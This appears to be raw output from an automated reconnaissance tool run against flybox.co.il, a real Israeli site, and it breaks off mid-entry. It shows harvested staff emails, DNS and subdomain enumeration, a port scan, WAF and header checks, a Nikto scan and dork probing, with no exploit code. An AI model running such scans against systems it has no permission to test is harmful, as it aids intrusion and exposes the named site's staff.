changed:      Managing Registrar 20170518
changed:      Managing Registrar 20170716

registrar name: InterSpace Ltd
registrar info: http://www.internic.co.il

% Rights to the data above are restricted by copyright.
 + -- ----------------------------=[Gathering OSINT Info]=-------------------- -- +

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Full harvest..
[-] Searching in Google..
	Searching 0 results...
	Searching 100 results...
	Searching 200 results...
[-] Searching in PGP Key server..
[-] Searching in Bing..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
[-] Searching in Exalead..
	Searching 50 results...
	Searching 100 results...
	Searching 150 results...
	Searching 200 results...
	Searching 250 results...


[+] Emails found:
------------------
info@flybox.co.il
liron@flybox.co.il

[+] Hosts found in search engines:
------------------------------------
[-] Resolving hostnames IPs...
104.31.75.239:www.flybox.co.il
[+] Virtual hosts:
==================
104.31.75.239	hoc
104.31.75.239	www.flybox.co.il
104.31.75.239	www.fedsmith
104.31.75.239	www.isadanislam.org
104.31.75.239	hocltd.com
104.31.75.239	www.fedsmith.com

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************

[-] Starting online search...

[-] Searching for doc files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for pdf files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for xls files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for csv files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------


[-] Searching for txt files, with a limit of 200
	Searching 100 results...
	Searching 200 results...
Results: 0 files found
Starting to download 50 of them:
----------------------------------------

processing
user
email

[+] List of users found:
--------------------------

[+] List of software found:
-----------------------------

[+] List of paths and servers found:
---------------------------------------

[+] List of e-mails found:
----------------------------
 + -- ----------------------------=[Gathering DNS Info]=---------------------- -- +

; <<>> DiG 9.11.2-5-Debian <<>> -x flybox.co.il
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61983
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;il.co.flybox.in-addr.arpa.	IN	PTR

;; AUTHORITY SECTION:
in-addr.arpa.		3600	IN	SOA	b.in-addr-servers.arpa. nstld.iana.org. 2017102519 1800 900 604800 3600

;; Query time: 489 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Sun Dec 31 03:23:31 EST 2017
;; MSG SIZE  rcvd: 122

dnsenum VERSION:1.2.4

-----   flybox.co.il   -----


Host's addresses:
__________________

flybox.co.il.                            211      IN    A        104.31.74.239
flybox.co.il.                            211      IN    A        104.31.75.239


Name Servers:
______________

vin.ns.cloudflare.com.                   84028    IN    A        173.245.59.245
athena.ns.cloudflare.com.                67779    IN    A        173.245.58.72


Mail (MX) Servers:
___________________

aspmx3.googlemail.com.                   293      IN    A        209.85.202.26
alt1.aspmx.l.google.com.                 293      IN    A        64.233.186.26
aspmx.l.google.com.                      293      IN    A        209.85.232.26
aspmx2.googlemail.com.                   293      IN    A        64.233.186.26
alt2.aspmx.l.google.com.                 293      IN    A        209.85.202.26


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for flybox.co.il on vin.ns.cloudflare.com ...

Trying Zone Transfer for flybox.co.il on athena.ns.cloudflare.com ...

brute force file not specified, bay.
 + -- ----------------------------=[Gathering DNS Subdomains]=---------------- -- +

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for flybox.co.il
[-] verbosity is enabled, will show the subdomains results in realtime
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
SSL Certificates: vip.flybox.co.il
SSL Certificates: www.flybox.co.il
Yahoo: www.flybox.co.il
Yahoo: vip.flybox.co.il
Virustotal: vip.flybox.co.il
Virustotal: landing.flybox.co.il
Virustotal: www.flybox.co.il
DNSdumpster: www.flybox.co.il
Bing: vip.flybox.co.il
Google: vip.flybox.co.il
[-] Saving results to file: /usr/share/sniper/loot/domains/domains-flybox.co.il.txt
[-] Total Unique Subdomains Found: 3
www.flybox.co.il
landing.flybox.co.il
vip.flybox.co.il

 ╔═╗╩═╗╔╩╗╔═╗╩ ╩
 ║  ╠╩╝ ║ ╚═╗╠═╣
 ╚═╝╩╚═ ╩o╚═╝╩ ╩
 + -- ----------------------------=[Gathering Certificate Subdomains]=-------- -- +

*.flybox.co.il
vip.flybox.co.il
www.flybox.co.il
 [+] Domains saved to: /usr/share/sniper/loot/domains/domains-flybox.co.il-full.txt

 + -- ----------------------------=[Checking for Sub-Domain Hijacking]=------- -- +
 + -- ----------------------------=[Checking Email Security]=----------------- -- +

 + -- ----------------------------=[Pinging host]=---------------------------- -- +
PING flybox.co.il(2400:cb00:2048:1::681f:4bef (2400:cb00:2048:1::681f:4bef)) 56 data bytes
64 bytes from 2400:cb00:2048:1::681f:4bef (2400:cb00:2048:1::681f:4bef): icmp_seq=1 ttl=60 time=29.3 ms

--- flybox.co.il ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 29.300/29.300/29.300/0.000 ms

 + -- ----------------------------=[Running TCP port scan]=------------------- -- +

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-31 03:24 EST
Nmap scan report for flybox.co.il (104.31.74.239)
Host is up (0.30s latency).
Other addresses for flybox.co.il (not scanned): 2400:cb00:2048:1::681f:4aef 2400:cb00:2048:1::681f:4bef 104.31.75.239
Not shown: 468 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy
8443/tcp open  https-alt
8880/tcp open  cddbp-alt

Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds

 + -- ----------------------------=[Running Intrusive Scans]=----------------- -- +
 + -- --=[Port 21 closed... skipping.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 53 closed... skipping.
 + -- --=[Port 79 closed... skipping.
 + -- --=[Port 80 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://flybox.co.il
The site http://flybox.co.il is behind a CloudFlare
Number of requests: 1

 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
http://flybox.co.il [301 Moved Permanently] CloudFlare, Cookies[__cfduid], Country[UNITED STATES][US], HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.75.239], RedirectLocation[https://flybox.co.il/], Title[301 Moved Permanently], UncommonHeaders[cf-ray]
https://flybox.co.il/ [301 Moved Permanently] CloudFlare, Cookies[PHPSESSID,__cfduid,qtrans_front_language], Country[UNITED STATES][US], HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.75.239], PHP[7.0.13], RedirectLocation[https://www.flybox.co.il/], UncommonHeaders[cf-ray], X-Powered-By[PHP/7.0.13]
https://www.flybox.co.il/ [200 OK] CloudFlare, Cookies[PHPSESSID,__cfduid,qtrans_front_language], Country[UNITED STATES][US], Frame, Google-Analytics[Universal][UA-87930745-1], HTML5, HTTPServer[cloudflare], HttpOnly[__cfduid], IP[104.31.75.239], JQuery[1.0.5,2.1.3], MetaGenerator[WooCommerce 2.5.5,WordPress 4.5.6,qTranslate-X 3.4.6.8], Open-Graph-Protocol[website], PHP[7.0.13], Script[application/ld+json,text/javascript], Title[Flybox - אט׹קשיה במ׹כז לכל המש׀חה והחב׹ים! ×ž× ×”×š×ª ׹וח הגיעה לישךאל], UncommonHeaders[link,access-control-allow-origin,cf-ray], Vimeo, WordPress[4.5.6], X-Powered-By[PHP/7.0.13], X-UA-Compatible[IE=edge]

	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: flybox.co.il:80
+ -- --=[Site not vulnerable to Cross-Site Tracing!
+ -- --=[Site not vulnerable to Host Header Injection!
+ -- --=[Site vulnerable to Cross-Frame Scripting!
+ -- --=[Site vulnerable to Clickjacking!

HTTP/1.1 405 Not Allowed
Date: Sun, 31 Dec 2017 08:24:32 GMT
Content-Type: text/html
Content-Length: 177
Connection: close
Server: cloudflare-nginx
CF-RAY: -

<html>
<head><title>405 Not Allowed</title></head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>cloudflare-nginx</center>
</body>
</html>

HTTP/1.1 301 Moved Permanently
Date: Sun, 31 Dec 2017 08:24:33 GMT
Content-Type: text/html; charset=iso-8859-1
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d3b25843681417713efeeea362ec03e091514708673; expires=Mon, 31-Dec-18 08:24:33 GMT; path=/; domain=.flybox.co.il; HttpOnly
Location: https://flybox.co.il/
Server: cloudflare
CF-RAY: 3d5bd7d943b108e4-CDG

e5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://flybox.co.il/">here</a>.</p>
</body></html>

0





 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on flybox.co.il... 

+ -- --=[Checking if X-Frame options are enabled on flybox.co.il... 

+ -- --=[Checking if X-XSS-Protection header is enabled on flybox.co.il... 

+ -- --=[Checking HTTP methods on flybox.co.il... 

+ -- --=[Checking if TRACE method is enabled on flybox.co.il... 

+ -- --=[Checking for META tags on flybox.co.il... 

+ -- --=[Checking for open proxy on flybox.co.il... 
  </div><!-- /#cf-wrapper -->

  <script type="text/javascript">
  window._cf_translation = {};


</script>

</body>
</html>

+ -- --=[Enumerating software on flybox.co.il... 
Server: cloudflare

+ -- --=[Checking if Strict-Transport-Security is enabled on flybox.co.il... 

+ -- --=[Checking for Flash cross-domain policy on flybox.co.il... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://flybox.co.il/crossdomain.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for Silverlight cross-domain policy on flybox.co.il... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://flybox.co.il/clientaccesspolicy.xml">here</a>.</p>
</body></html>

+ -- --=[Checking for HTML5 cross-origin resource sharing on flybox.co.il... 

+ -- --=[Retrieving robots.txt on flybox.co.il... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://flybox.co.il/robots.txt">here</a>.</p>
</body></html>

+ -- --=[Retrieving sitemap.xml on flybox.co.il... 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://flybox.co.il/sitemap.xml">here</a>.</p>
</body></html>

+ -- --=[Checking cookie attributes on flybox.co.il... 
Set-Cookie: __cfduid=d9bbe540dd477159e31148488172304ef1514708677; expires=Mon, 31-Dec-18 08:24:37 GMT; path=/; domain=.flybox.co.il; HttpOnly

+ -- --=[Checking for ASP.NET Detailed Errors on flybox.co.il... 
          jQuery("input#footernewsletter").removeClass("error")
    jQuery("input#footernewsletter").addClass("error")
            if( returned_data.result == 'error' ) {
<body class="rtl error404">


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          104.31.75.239
+ Target Hostname:    flybox.co.il
+ Target Port:        80
+ Start Time:         2017-12-31 03:24:41 (GMT-5)
---------------------------------------------------------------------------
+ Server: cloudflare
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 3d5bd80e62396908-CDG
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Server banner has changed from 'cloudflare' to 'cloudflare-nginx' which may suggest a WAF, load balancer or proxy is in place
+ Scan terminated:  17 error(s) and 3 item(s) reported on remote host
+ End Time:           2017-12-31 05:16:15 (GMT-5) (6694 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/flybox.co.il-port80.jpg
 + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
 + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +

    _____  .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      .1BR'''Yp, .8BR'''Cq.
   (_____)   01     01N.    C     01       C     01   .01.    01          01    Yb   01   .01.
   (() ())   01     C YCb   C     01       C     01   ,C9     01          01    dP   01   ,C9
    \   /    01     C  .CN. C     01       C     0101dC9      01          01'''bg.   0101dC9
     \ /     01     C   .01.C     01       C     01  YC.      01      ,   01    .Y   01  YC.
     /=\     01     C     Y01     YC.     ,C     01   .Cb.    01     ,C   01    ,9   01   .Cb.
    [___]  .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C .J0101Cd9  .J01L. .J01./ 2.1

__[ ! ] Neither war between hackers, nor peace for the system.
__[ ! ] http://blog.inurl.com.br
__[ ! ] http://fb.com/InurlBrasil
__[ ! ] http://twitter.com/@googleinurl
__[ ! ] http://github.com/googleinurl
__[ ! ] Current PHP version::[ 7.0.26-1 ]
__[ ! ] Current script owner::[ root ]
__[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
__[ ! ] Current pwd::[ /usr/share/sniper ]
__[ ! ] Help: php inurlbr.php --help
------------------------------------------------------------------------------------------------------------------------

[ ! ] Starting SCANNER INURLBR 2.1 at [31-12-2017 05:18:24]
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-flybox.co.il.txt  ]
[ INFO ][ DORK ]::[ site:flybox.co.il ]
[ INFO ][ SEARCHING ]:: {
[ INFO ][ ENGINE ]::[ GOOGLE - www.google.vu ]

[ INFO ][ SEARCHING ]:: 
-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE API ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.com.cu ID: 003917828085772992913:gmoeray5sa8 ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]

[ INFO ][ TOTAL FOUND VALUES ]:: [ 100 ]


 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 0 / 100 ]-[05:18:36] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 1 / 100 ]-[05:18:37] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 2 / 100 ]-[05:18:38] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 3 / 100 ]-[05:18:38] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/×ž×§×Š×•×¢× ×™×/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 4 / 100 ]-[05:18:38] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/restaurant/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 5 / 100 ]-[05:18:39] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/מי_יכול_לעוף/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 6 / 100 ]-[05:18:39] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/בלוג/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 7 / 100 ]-[05:18:40] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/kids/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 8 / 100 ]-[05:18:40] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/terms/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 9 / 100 ]-[05:18:40] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/faq/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 10 / 100 ]-[05:18:41] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/instructors/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 11 / 100 ]-[05:18:42] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/personal_details/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 12 / 100 ]-[05:18:43] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/terms/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 13 / 100 ]-[05:18:44] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/restaurant/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 14 / 100 ]-[05:18:45] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/kids/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 15 / 100 ]-[05:18:45] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/׀לייבוקס-בתקשוךת/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 16 / 100 ]-[05:18:46] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/social-events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 17 / 100 ]-[05:18:47] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/personal_details/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 18 / 100 ]-[05:18:48] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/parties-events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 19 / 100 ]-[05:18:49] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/מי_יכול_לעוף/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 20 / 100 ]-[05:18:51] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 21 / 100 ]-[05:18:52] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/בלוג/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 22 / 100 ]-[05:18:54] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/faq/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 23 / 100 ]-[05:18:55] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/×ž×§×Š×•×¢× ×™×/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 24 / 100 ]-[05:18:57] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/instructors/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 25 / 100 ]-[05:18:57] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/gift-packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 26 / 100 ]-[05:18:58] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/parties-events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 27 / 100 ]-[05:18:59] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/שובךים/ ]
|_[ + ] Exploit:: 
